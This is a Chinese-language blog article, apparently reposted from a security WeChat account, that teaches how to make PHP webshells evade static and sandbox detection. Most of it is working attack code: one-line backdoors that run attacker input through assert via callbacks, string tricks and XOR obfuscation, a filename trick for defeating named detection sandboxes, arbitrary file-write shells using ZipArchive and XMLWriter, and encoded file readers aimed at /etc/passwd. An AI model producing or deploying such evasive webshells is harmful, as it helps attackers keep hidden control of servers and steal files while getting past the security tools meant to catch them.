Webshell免杀之php

admin 2024年5月22日23:18:57评论16 views字数 7437阅读24分47秒阅读模式
 

学免杀首先要了解代码特性,将各种trick(webshell相关)作用都发挥到极致,从而绕过所有waf,当然仅限于静态分析,动态的话使用aes加密即可。本文将围绕php是个解释型语言的前提进行探索。

代码执行优先级

代码执行优先级简单来说就是执行代码的顺序:

1、 经过测试php是从上到下从左到右进行解释执行

-2、优先执行括号内的内容,但是不会因为括号越多越先执行‍‍

<?phpif(md5(md5(phpinfo()))===md5(exit())){  echo 1;}
因此这个例子的执行结果是:phpinfo()
Webshell免杀之php
而这个例子是:exit()‍‍
<?phpif(md5(exit())===md5(md5(phpinfo()))){  echo 1;}

Webshell免杀之php

错误等级‍‍‍‍

php有四个常见Error:Warning ErrorNotice ErrorParse ErrorFatal Error。

Warning Error

Warning Error不会阻止脚本运行,只会警告问题。

常出现原因:

1、 调用目录中不存在的外部文件

2、函数中的错误函数

<?phpecho "Warning error"';include ("external_file.php");?>

Webshell免杀之php

可以看到第一行成功执行,第二行报Warning Error错误。
Notice Error

Notice Error的等级比Warning Error的等级小,系统不确定是实际错误还是常规代码,常见于访问未定义的变量

<?phpecho 1;echo $a;?>

Webshell免杀之php

Parse Error

Parse Error会在解析语法出错时直接退出程序,已执行的代码不受影响。

常见于:eval函数缺失闭合。‍‍
观察以下两个执行结果的差异:
Webshell免杀之php
Webshell免杀之php

根据结果可知,在eval函数中优先检查php语句是否使用;闭合,若未闭合则全部不予执行。

Fatal Error

Fatal Error常见于重复定义,会立即退出程序。

常见于:

1、a--表示重复定义的函数名;

2、b--第一次定义该函数时的文件名称及行号;

3、c--第二次定义该函数时的文件名称;

4、d--第二次定义该函数时的行号。

Webshell免杀之php

Error_reporting函数
常常在webshell中看到error_reporting函数,主要作用是设置报告错误的等级。用于Webshell时可以屏蔽无关的错误报告,降低被防火墙或者IPS设备拦截的风险。
//不报告NOTICE和WARNING错误error_reporting(E_ALL^E_NOTICE^E_WARNING);//不报告错误error_reporting(0);
代码执行函数

assert

assert会判断传入的assertion是否为false
适用版本: php5、php7.0.12以前
1、PHP 5 和 7
assert(mixed $assertion, string $description = ?): bool

2、PHP7

assert(mixed $assertion, Throwable $exception = ?): bool
php5.6.9执行结果

Webshell免杀之php

eval

eval:把字符串作为PHP代码执行

eval(string $code): mixed

Webshell免杀之php

assert和eval的区别

1、PHP5中assert可以动态调用,PHP7中不可以,但是PHP7.0.12前实际上还是可以的‍

//失败$a = "eval";$a("system('whoami');");//成功eval("system('whoami');");//成功$a = "assert";$a("system('whoami');");
2、PHP5不支持($a)()这种调用方式,但是PHP7中支持,如(phpinfo())()
('assert')('system("whoami")');
Webshell免杀之php

在测试过程中发现assert的位置只能使用字符串,函数、define、引用均失效,意味着只能分成字符串拼接的形式,参数的位置不受限制。

回调函数

回调函数即使用某一个参数作为函数,其他参数作为其参数的函数,最经典的就是call_user_func函数。

常见的有
call_user_func(最经典)call_user_func_arrayarray_maparray_filterusort/uasortuksortarray_walkarray_walk_recursive
查找可用回调函数
目前常见的回调函数(call_user_func等)都被webshell查杀软件列入可疑名单,但是仍然有部分回调函数没有被找到,可通过以下方法快速查找。
去[PHP官网](http://php.net/manual/zh/)查阅函数手册,查找可以用作后门的PHP回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率:
1、关键词一:callable

Webshell免杀之php

2、关键词二:mixed $options

Webshell免杀之php

3、关键词三:handler

Webshell免杀之php

4、关键词四:callback

Webshell免杀之php

5、关键词五:invoke
Webshell免杀之php
找到以下函数
array_uintersect_assoc/array_uintersect
 array_uintersect_assoc — 带索引检查计算数组的交集,用回调函数比较数据。
用法:
array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array
根据定义写一个一句话木马:
<?phparray_uintersect(array($_POST['cmd']), array(1),'assert');
Webshell免杀之php
同理还有:
array_intersect_uassocarray_intersect_ukeyarray_udiff_assocarray_udiff_uassoc
字符串变形‍‍‍‍

在webshell免杀过程中,对关键字字符串进行处理能绕过静态分析,但是对污点分析和行为分析的检测引擎效果就不太理想。
常见字符串变形函数:
ucwords() //函数把字符串中每个单词的首字符转换为大写。ucfirst() //函数把字符串中的首字符转换为大写。trim() //函数从字符串的两端删除空白字符和其他预定义字符。substr_replace() //函数把字符串的一部分替换为另一个字符串substr() //函数返回字符串的一部分。strtr() //函数转换字符串中特定的字符。strtoupper() //函数把字符串转换为大写。strtolower() //函数把字符串转换为小写。strtok() //函数把字符串分割为更小的字符串。str_rot13() //函数对字符串执行 ROT13 编码。
substr

substr — 返回字符串的子串

substr(string $string, int $offset, ?int $length = null): string
用法
//返回从第3个索引位置开始的一个字符substr("777a",3,1)."ssert";

strtr

strtr - 转换字符串中特定的字符

strtr(string,from,to)

用法

<?php     $a = strtr('azxcvt','zxcv','sser');    $a($_POST['x']);?>

trim

trim - 移除字符串两侧的空白字符或其他预定义字符

trim(string,charlist)

用法

<?php     $a = trim(' assert ');    $a($_POST['x']);?>

substr_replace‍‍‍‍‍‍

substr_replace - 把字符串string的一部分替换为另一个字符串replacement‍‍

substr_replace(string,replacement,start,length)

用法

<?php     $a = substr_replace("asxxx","sert",2);    $a($_POST['x']);?>

base64编码
‍‍

base64已经烂大街了,WAF等安全设备也会自动解码,因此只作为基础编码跟其他的结合使用。
echo base64_encode('assert');

异或

<?php$a= ("!"^"@").'ssert';$a($_POST[x]);?>
首先要知道的是两个字符串异或之后得到的还是一个字符串,所以我们可以用一些非字母数字的字符异或后变成我们想要的字符,但是说实话徒手找的话实在费劲,下面php代码生成列表。
<?phpfor($i=128;$i<255;$i++){    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."n";}?>
得到下面列表
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|%84^%FF=>{     %85^%FF=>z       %86^%FF=>y%87^%FF=>x     %88^%FF=>w       %89^%FF=>v%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p%90^%FF=>o     %91^%FF=>n       %92^%FF=>m%93^%FF=>l     %94^%FF=>k       %95^%FF=>j%96^%FF=>i     %97^%FF=>h       %98^%FF=>g%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^%A2^%FF=>]     %A3^%FF=>       %A4^%FF=>[%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    %AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@%C0^%FF=>?
然后用这些字符构成函数,比如
%9E^%FF=>a %8C^%FF=>s %9A^%FF=>e %8D^%FF=>r %8B^%FF=>t  %A0^%FF=>_     %AF^%FF=>P  %B0^%FF=>O %AC^%FF=>S %AB^%FF=>T $_=urldecode("%9E%8C%8C%9A%8D%8B")^urldecode("%FF%FF%FF%FF%FF%FF");$__=urldecode("%A0%AF%B0%AC%AB")^urldecode("%FF%FF%FF%FF%FF");$___=$$__;$_($___[_]);//assert($_POST[_])
uuencode
convert_uuencode("assert");
利用信息差绕过
当遇到动态沙箱检测时,会将脚本放置在沙箱中,记录脚本运行过程产生的行为特征。如果遇到污点跟踪,那么每个变量的值都会被跟踪记录,看起来无懈可击。
但是实际上我们可以利用信息差,比如注意到阿里云webshell检测会将文件以md5格式重命名,这样就不是我们实战上传的文件名。

Webshell免杀之php

同样的还有webdir+

Webshell免杀之php

文件名
那么我们就可以把assert的某些字符放入文件名,这里放一个LandGrey师傅的脚本。
<?php$password = "LandGrey";${"LandGrey"} = substr(__FILE__,-5,-4) . "class";$f = $LandGrey ^ hex2bin("12101f040107");array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);?>
脚本名必须是“*s.php”的名字形式,即最后一位字符要为s”,然后用sclass hex2bin(12101f040107)的值按位异或,得到assert”,从而利用回调函数,执行PHP代码
上传到WEBDIR+系统后,脚本被重命名,“试执行时自然无法复现木马行为”,从而绕过了检测。这种方式有一种明显的要求,就是我们能够准确预知或控制脚本名的最后一位字符。
其他信息差
在针对某个特别的目标测试时,可以利用目标的特殊信息构造信息的差异,实现Webshell绕过。
如目标IP地址的唯一性、域名、特殊Cookie、Session字段和值、$_SERVER变量中可被控制的值,甚至是主机Web服务的根目录、操作系统等一些差别,发挥空间很大。
写文件函数
有时可以寄希望于将webshell编码,再通过写文件函数将内容写到webshell,然后再还原回来,因此写文件函数也至关重要。
常见写文件函数
file_put_contents(filename, data)ZipArchive类
利用ZipArchive类读写文件
任意文件写入
利用ZipArchive类写入文件的思路:将写入的内容先写进压缩包中,再进行解压缩至任意目录。
<?php$zip = new ZipArchive();$tmp = filter_input_array(2-1);$zipTmpPath = $tmp["tmpzip"];if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {    exit("cannot open <$zipTmpPath>n");}$zip->addFromString($tmp["filename"], $tmp["content"]);$zip->close();if($zip->open($zipTmpPath) !== TRUE){    exit("cannot open <$zipTmpPath>n");}$flag = $zip->extractTo($tmp["filePath"]);echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";$zip->close();unlink($zipTmpPath);
利用方式(get请求):
?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmp
各个参数解释:确保tmpzip参数和filePath参数所表示的目录有写入权限
1. tmpzip:临时创建的zip文件路径,需要将文件内容写入到zip文件
2. filename:zip压缩包中的文件名,也是解压之后的文件名
3. content:filename文件的内容
4. filePath:压缩包解压到的路径
XMLWriter类
<?php$tmp = filter_input_array(1);$w = new XMLWriter();$w->openUri($tmp["file"]);$w->writeRaw($tmp["content"]);

利用方法:?file=/tmp/test&content=hello,也可以直接调用该类的方法。

<?php$tmp = filter_input_array(1);$w = xmlwriter_open_uri($tmp["file"]);xmlwriter_write_raw($w,$tmp["content"]);
利用iconv_mime_decode编码fopen+fread+filesize函数
<?php$read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?=");$open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?=");$size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?=");$file = $_GET["file"];$fp = $open($file, "r");$str = $read($fp, $size($file));echo $str;
利用方式:?file=/etc/passwd
iconv_mime_encode可以将字符串编码为mime格式
<?php$prefs = array ("scheme" => "B",                     "input-charset" => "utf-8",                     "output-charset" => "utf-8",                     "line-break-chars" => "n");$enc = iconv_mime_encode('From',  'test', $prefs);echo $enc.PHP_EOL;

Webshell免杀之php

利用iconv_mime_decode_headers编码file函数
<?php$headers_string = <<<EOFSubject: =?UTF-8?B?ZmlsZQ==?=Received: from localhost (localhost [127.0.0.1]) by localhost    with SMTP id example for <[email protected]>;    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)    (envelope-from [email protected])EOF;$headers =  iconv_mime_decode_headers($headers_string, 0, "");$Subject = $headers["Subject"];$file_arr = $Subject($_GET["file"]);foreach($file_arr as $value){    echo $value."<br />";}
利用方式:?file=/etc/passwd

原文始发于微信公众号(极星信安):Webshell免杀之php

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月22日23:18:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Webshell免杀之phphttp://cn-sec.com/archives/2766200.html

发表评论

匿名网友 填写信息